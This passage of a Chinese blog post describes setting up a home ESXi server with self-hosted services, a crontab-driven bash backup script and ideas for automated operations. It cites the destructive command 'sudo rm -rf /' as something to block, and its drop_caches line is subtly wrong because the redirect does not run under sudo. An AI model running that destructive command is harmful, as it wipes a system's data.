site\u003c/td\u003e\u003ctd\u003e整个镜像站,功德无量啊功德无量\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eothers\u003c/td\u003e\u003ctd\u003e后面再想\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cblockquote\u003e\u003cp\u003e先配服务器再想应用场景,有一种先射击再瞄准的美\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e目前搭建的基本就是\u003ccode\u003egitea, mc, cloudreve, jupyter, mysql\u003c/code\u003e这几个,后台还跑着一些运维脚本,目前这些已吃完我的内存了QAQ。总之简述下搭建流程吧。毕竟是个blog不是manual,就不贴太详细的步骤了。如果给出了指令,请确保在理解的情况下,按照真实系统环境执行。\u003c/p\u003e\u003cul\u003e\u003cli\u003egitea\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这个搭建起来很简单,直接wget最新的build到你要安装的目录,然后把官方的service配置cat到\u003ccode\u003e/etc/systemd/system/gitea.service\u003c/code\u003e,再\u003ccode\u003esudo systemctl enable --now gitea.service\u003c/code\u003e,之后再在给出的Web链接里配置好服务,最后修改好\u003ccode\u003econfig.ini\u003c/code\u003e再重启服务就好了。\u003c/p\u003e\u003cp\u003e这东西我最喜欢的点是支持WebDAV,所以配合上AutoSync之类的客户端,就能实现数据增量备份和同步。\u003c/p\u003e\u003cul\u003e\u003cli\u003ecloudreve\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e跟上面基本一样,先wget下来,再运行一下产生配置文件并修改好设置,并配置好systemd的服务管理,最后启动就行。不过,安装完成后,还得配置下\u003cstrong\u003e存储策略\u003c/strong\u003e来确定文件存储的物理位置,并在用户组中修改每种用户的空间限额大小和权限等。\u003c/p\u003e\u003cul\u003e\u003cli\u003eMinecraft\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e喜闻乐见的MC时间。这边我是用Docker开服的,环境最干净,并且最方便于管理。具体参考以前写过的Docker-MC开服的博文。\u003c/p\u003e\u003cul\u003e\u003cli\u003eJupyter\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e直接\u003ccode\u003epython3 -m pip install jupyterlab\u003c/code\u003e或者用\u003ccode\u003eapt, pacman\u003c/code\u003e之类的包管理器安装就行。装完了照着上面的在systemd把它添加为服务就行。装好之后,直接浏览器访问端口使用就行了。\u003c/p\u003e\u003cul\u003e\u003cli\u003edatabase\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e刚好这边有个项目得用数据库,所以就用docker开了个mysql的daemon当数据库。不得不说是真的方便\u003c/p\u003e\u003cul\u003e\u003cli\u003eCompiling Service\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这部分我是用gitea-action搞定的。其他时候,我一般直接ssh到服务器上手动编译。不过注意,\u003cstrong\u003e服务器的稳定性至关重要\u003c/strong\u003e,别随便跑啥若治脚本把服务器玩炸了。数据可靠性很关键。特别是当你的服务器还挂了一堆存着重要数据的硬盘,要是真手欠\u003ccode\u003erm -rf\u003c/code\u003e了你哭都没地方去。所以建议这种任务通通扔docker,反正没啥性能损失。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCalculation\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用JupyterLab能搞定一部分\u003cdel\u003e反正他们数据科学的基本全是python\u003c/del\u003e,另一部分相对需求较小的,就直接跑专门的计算进程算了。\u003c/p\u003e\u003cul\u003e\u003cli\u003eVM Servers\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e打算先搓个轮子,然后基于这个轮子整个自动new container并绑定账号和tty的web service。安全性问题后面再说,这些机器可以用来租借或者提供给其他人学习使用。\u003c/p\u003e\u003cul\u003e\u003cli\u003eWeb Services\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如可以把\u003ccode\u003eXDU-ISC\u003c/code\u003e的主页/blog挂上去,或者挂点其他Web服务,比如自动打卡之类的。\u003c/p\u003e\u003cul\u003e\u003cli\u003eMirror Site\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e给各种大型镜像源整个分流,分担下压力造福开源——不过我这点硬盘容量就算了罢。\u003c/p\u003e\u003cp\u003e其他服务的话,比如我写的NanoOJ就可以挂上去给搞算法竞赛的\u003cdel\u003e小东西\u003c/del\u003e们训练用,也可以把我写那个XDU-Planet挂上去,聚合大家的博客\u003cdel\u003e黑历史\u003c/del\u003e博文,还能整点其他的花活。\u003c/p\u003e\u003cp\u003e总之,充分利用嘛。\u003c/p\u003e\u003ch2 id=\"运维\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E8%BF%90%E7%BB%B4\" class=\"headerlink\" title=\"运维\"\u003e\u003c/a\u003e运维\u003c/h2\u003e\u003cp\u003e服务器的躯体是硬件,灵魂是数据。物理上的安全备份这里先不论,这里主要说说数据上的安全和管理。\u003c/p\u003e\u003ch3 id=\"数据安全\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8\" class=\"headerlink\" title=\"数据安全\"\u003e\u003c/a\u003e数据安全\u003c/h3\u003e\u003cp\u003e磁盘上的数据无非就程序,配置和存储的重要数据文件这三类,下面分开说。\u003c/p\u003e\u003ch4 id=\"程序\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"程序\"\u003e\u003c/a\u003e程序\u003c/h4\u003e\u003cp\u003e大部分程序只是一份可以重新安装下载的数据文件,所以我们只需要备份它的程序列表即可。在迁移系统或者出现重大损失时,我们只需要拿到程序列表,然后用你最喜欢的包管理器批量安装这些程序即可。假设你使用\u003ccode\u003eapt\u003c/code\u003e作为包管理器:前者可以通过\u003ccode\u003edpkg --get-selections \u0026gt; backup.txt\u003c/code\u003e做到,后者可以通过\u003ccode\u003esudo apt-get update \u0026amp;\u0026amp; sudo apt-get install $(awk \u0026#39;{print $1}\u0026#39; backup.txt)\u003c/code\u003e做到。\u003c/p\u003e\u003cp\u003e当然,上面的实现只是最基础的。我们可以使用\u003ccode\u003eawk, git\u003c/code\u003e等工具把这件事做的更好。以上面两行脚本为基础原理,我们可以编写一个借助\u003ccode\u003egit\u003c/code\u003e进行备份记录的版本控制和备份,借助\u003ccode\u003eawk\u003c/code\u003e让备份的程序列表更加可读和强大,借助\u003ccode\u003ealias\u003c/code\u003e和\u003ccode\u003ebashrc\u003c/code\u003e为安装增加一个更新应用列表的hook,利用\u003ccode\u003ecrontab\u003c/code\u003e实现备份的无人值守和自动化,并且可以增加应用的版本信息以及特定版本安装等等。\u003c/p\u003e\u003cp\u003e甚至,对于不在apt的软件,也可以手动记录,甚至是直接保存ELF到备份仓库中。\u003c/p\u003e\u003cp\u003e借助这个工具,灾难恢复也会变得相对简单。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:后边实现这个脚本,先插个flag在这\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h4\u003e\u003cp\u003eLinux下的大多数配置文件因为都以一个点(dot)开头,所以也叫dotfile。我总结的最佳实践应该是利用Git和Hard-Link去进行管理。比较麻烦的是dotfiles的恢复,这个工作也可以写一个脚本完成,自动根据记录的配置文件路径(存储于csv文件中)去自动创建硬链接来管理。这个方法基本没啥问题,就是容易遇到各种莫名其妙的失效问题,以及在termux里边由于没有root权限不能创建符号链接就很难受。\u003c/p\u003e\u003cp\u003e这里有篇文章,讲解的更加详细:\u003ca href=\"https://medium.com/@simontoth/best-way-to-manage-your-dotfiles-2c45bb280049\"\u003eBest way to manage your dotfiles\u003c/a\u003e,也比较接近我的观念。还有这篇也值得参考:\u003ca href=\"https://medium.com/@simontoth/best-way-to-manage-your-dotfiles-2c45bb280049\"\u003eBest way to manage your dotfiles\u003c/a\u003e\u003c/p\u003e\u003cp\u003e参考上面的思路,对dotfiles的管理可以帮你\u003cdel\u003e在你电脑炸了的时候\u003c/del\u003e快速重建你的环境配置,以及回溯以前的配置文件,又或者是同步你的环境到其他机器上。舒适度拉满.jpg\u003c/p\u003e\u003ch4 id=\"数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"数据\"\u003e\u003c/a\u003e数据\u003c/h4\u003e\u003cp\u003e这部分我做的最早。不过方案嘛,主打一个能用就行。\u003c/p\u003e\u003cp\u003e具体而言,首先在各个需要备份的目录下写一个\u003ccode\u003ebackup.sh\u003c/code\u003e来生成要备份的文件,比如这个:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFNAME=\u003cspan class=\"string\"\u003e\u0026#34;[backup]mc-server-\u003cspan class=\"variable\"\u003e$NAME\u003c/span\u003e-\u003cspan class=\"subst\"\u003e$(date +%Y%m%d%H%M%S)\u003c/span\u003e.zip\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eNAME=\u003cspan class=\"string\"\u003e\u0026#34;my-server\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ezip -qr \u003cspan class=\"variable\"\u003e$FNAME\u003c/span\u003e \u003cspan class=\"variable\"\u003e$NAME\u003c/span\u003e/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$FNAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,必须输出生成的文件名称,后面有用。\u003c/p\u003e\u003cp\u003e然后随便找个地方写个脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 使用Bash实现的自动备份工具\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 注意,绝对不能备份当前目录,不然会产生无限递归\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBACKUP_DIR=$(\u003cspan class=\"built_in\"\u003edirname\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$0\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e \u003cspan class=\"comment\"\u003e# 在出现错误时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -u \u003cspan class=\"comment\"\u003e# 在使用未定义的变量时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -o pipefail \u003cspan class=\"comment\"\u003e# 在管道中的任何一个命令出错时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e IFS= \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e -r line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 循环处理每一个备份任务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [[ -z \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e || \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e =~ ^\u003cspan class=\"comment\"\u003e# ]]; then # 不执行注释和空行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econtinue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 使用awk得到任务参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SOURCE=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TARGET=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $2}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MAX=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $3}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 最大保留备份数量\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;[\u003cspan class=\"subst\"\u003e$(date)\u003c/span\u003e] Backing up \u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e to \u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e with max \u003cspan class=\"variable\"\u003e$MAX\u003c/span\u003e items\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e\u0026#34;\u003c/span\u003e \u0026amp;\u0026amp; ./backup.sh | xargs \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e -t \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;[\u003cspan class=\"subst\"\u003e$(date)\u003c/span\u003e] Backup source \u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e completed\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e\u0026#34;\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003els\u003c/span\u003e -t | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n +$((MAX+\u003cspan class=\"number\"\u003e1\u003c/span\u003e)) | xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e \u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$BACKUP_DIR\u003c/span\u003e/config.csv\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 备份任务配置数据位于脚本所在目录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注释比较详细就不细说了。接下来在同级目录下\u003ccode\u003etouch config.csv\u003c/code\u003e来保存备份条目信息,举个例子:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e# src,target,max-items\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/home/xeonds/mc-server,/mnt/c/backup/mc-server-backup/atelier-of-zimin,4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把上面的脚本加入\u003ccode\u003ecrontab\u003c/code\u003e中定时运行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 4 * * * output=$(/home/xeonds/backup/backup.sh); pushplus \u003cspan class=\"string\"\u003e\u0026#34;自动备份任务完成\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$output\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的就是我正在用的的自动备份方案,\u003ccode\u003epushplus\u003c/code\u003e参考我写的Bash学习笔记。\u003c/p\u003e\u003cp\u003e总体就突出一个刚好能用。\u003c/p\u003e\u003cp\u003e另外我记得好像推荐\u003ccode\u003ersync\u003c/code\u003e做增量备份的来着,不过我的这些数据可能不太适合增量备份所以没用。如果是照片一类的文件,倒是很适合rsync来处理。回头可以抽空升级下这个脚本。\u003c/p\u003e\u003ch3 id=\"硬件安全\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8\" class=\"headerlink\" title=\"硬件安全\"\u003e\u003c/a\u003e硬件安全\u003c/h3\u003e\u003cp\u003e首当其冲就是硬盘安全。这方面可以用\u003ccode\u003esmartctl\u003c/code\u003e来定期监测SMART信息确认磁盘状态。我试了下,好像ESXi里边我映射的硬盘也支持检测SMART信息。这里也可以写个脚本定期监测并发送监测报告\u003cdel\u003e此处可本\u003c/del\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e天天脚本脚本,那么\u003cdel\u003e你们程序员移一定都是足控吧.jpg\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e其他的嘛……暂时莫得啥需求。\u003c/p\u003e\u003ch3 id=\"数据管理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E7%AE%A1%E7%90%86\" class=\"headerlink\" title=\"数据管理\"\u003e\u003c/a\u003e数据管理\u003c/h3\u003e\u003cp\u003e很喜欢Bash的一句话:\u003ccode\u003eman bash\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如何整理磁盘上的文件?问问\u003ccode\u003emv, cp, ls, rm, cat, grep, sed, awk, xargs\u003c/code\u003e;然后,用bash把它们拼起来就行。只要你想,你可以编写出任何脚本来整理你的所有文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:具体的脚本太多了,这里地方小,写不下(溜\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"自动运维\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E8%87%AA%E5%8A%A8%E8%BF%90%E7%BB%B4\" class=\"headerlink\" title=\"自动运维\"\u003e\u003c/a\u003e自动运维\u003c/h3\u003e\u003cp\u003e都Linux了不得写个脚本帮自己干活?而且还有其他好用的工具呢,首当其冲的还得是\u003ccode\u003esystemctl\u003c/code\u003e,\u003ccode\u003ecrontab\u003c/code\u003e,一个自动管理后台服务,一个自动运行任务,堪称运维两大法器。\u003ccode\u003esystemctl\u003c/code\u003e多用来自动启动和重启后台服务,\u003ccode\u003ecrontab\u003c/code\u003e作为一个定时器,基本跟时间相关的任务都能干,比如\u003cdel\u003e自动报时\u003c/del\u003e,定时清理,定时重启,定时更新,定时打卡,定时发送状态简报,定时发送邮件,\u003cdel\u003e定时煮饭\u003c/del\u003e等等你能想到想不到的。\u003c/p\u003e\u003cp\u003e另外,还有\u003ccode\u003ebash\u003c/code\u003e和\u003ccode\u003ealias\u003c/code\u003e,前者不光能跟你\u003cdel\u003e打\u003c/del\u003e交互,还能连接很多强大的工具;后者不光是个别名,还能帮你hook各种命令,给它们加点小功能。这部分建议多读读命令行的艺术,以及\u003ccode\u003eman bash\u003c/code\u003e的内容,更重要的是得多用。\u003c/p\u003e\u003cp\u003e我整完这些之后,感觉还是不太过瘾。毕竟这些功能全能点的面板估计也能做到,而且我也不可能到处因为一点小事就ssh到服务器上吧)\u003c/p\u003e\u003cp\u003e在接触了低代码表单的思想之后,我就又想造轮子了:搓个工具,借助低代码系统,写出自己的运维管理面板,最好是实现一个页面一个配置文件,改配置文件就更新对应页面和后面调用的命令的程度。\u003c/p\u003e\u003cp\u003e借助这个工具倒是可以实现很轻量,而且完全自由的服务器控制面板,而且无需依赖,可定制度拉满那种。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:这里也挖个坑立个flag\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e上面那段倒是偏离自动运维这个话题了。说回正题:除了上面提到的\u003ccode\u003esystemd\u003c/code\u003e和\u003ccode\u003ecrontab\u003c/code\u003e之外,还可以让系统监听一些事件,并做出即时响应。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里先放个UNIX哲学()\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e比如让系统读取某进程的日志输出,如果输出带有ERROR等字样,就发送警告给运维,或者执行其他的动作。,我们可以将触发的部分和执行的部分分离,让系统对不同的问题做出响应。比如收到了内存不足的警报,那就自动执行\u003ccode\u003esudo echo 3 \u0026gt; /proc/sys/vm/drop_caches\u003c/code\u003e来释放内存,还是过高的话就报警\u003cdel\u003e并随机kill一个幸运进程\u003c/del\u003e;比如有个\u003cdel\u003e若治\u003c/del\u003e同事又把你数据库炸了给你发邮件求助,那系统就直接roll back数据库;再比如监测到系统设备panic了,直接发送警报并紧急关机系统防止进一步损失;还可以接收UPS的断电信号,发送警报并迅速关机来避免更大的损失;有什么登录失败的/疑似端口爆破的,直接自动ban了它的IP;再比如系统流量激增,直接报警;再比如ban了\u003ccode\u003esudo rm -rf /\u003c/code\u003e这种敏感操作;甚至自动审核各种请求等等。只有想不到,没有做不到\u003cdel\u003e除了生孩子\u003c/del\u003e。\u003c/p\u003e\u003ch2 id=\"尾声\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E5%B0%BE%E5%A3%B0\" class=\"headerlink\" title=\"尾声\"\u003e\u003c/a\u003e尾声\u003c/h2\u003e\u003cp\u003e到这里,我的服务器就基本折腾好了。我现在拥有一个数据安全性相对较高的NAS,一个日常开发可用的自动化编译/部署服务,一个代码托管和备份系统,一个7x24可用的mc服务器,一个可用于数据科学/AI学习的在线算力,一个可以随时启动的,一个可以租借给他人的docker 